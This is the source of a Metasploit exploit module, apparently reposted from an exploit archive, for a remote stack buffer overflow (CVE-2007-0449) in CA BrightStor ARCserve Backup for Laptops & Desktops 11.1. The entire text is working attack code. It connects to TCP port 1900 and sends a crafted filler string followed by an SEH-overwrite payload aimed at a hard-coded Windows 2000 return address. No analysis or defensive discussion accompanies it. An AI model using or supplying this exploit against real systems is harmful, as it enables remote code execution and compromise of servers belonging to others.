CA BrightStor ARCserve for Laptops & Desktops LGServer – Remote Buffer Overflow (Metasploit) (1)
## # $Id: lgserver.rb 9262 2010-05-09 17:45:00Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'CA BrightStor ARCserve for Laptops & Desktops LGServer Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup for Laptops & Desktops 11.1. By sending a specially crafted request, an attacker could overflow the buffer and execute arbitrary code. }, 'Author' => [ 'MC' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9262 $', 'References' => [ [ 'CVE', '2007-0449' ], [ 'OSVDB', '31593' ], [ 'BID', '22342' ], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 600, 'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows 2000 Pro English All', { 'Ret' => 0x75022ac4 } ], ], 'DisclosureDate' => 'Jan 31 2007', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(1900) ], self.class) end def exploit connect filler = "0000016705" + rand_text_english(2322) seh = generate_seh_payload(target.ret) sploit = filler + seh + "\x58" * 0x4141 print_status("Trying target #{target.name}...") sock.put(sploit) handler disconnect end end |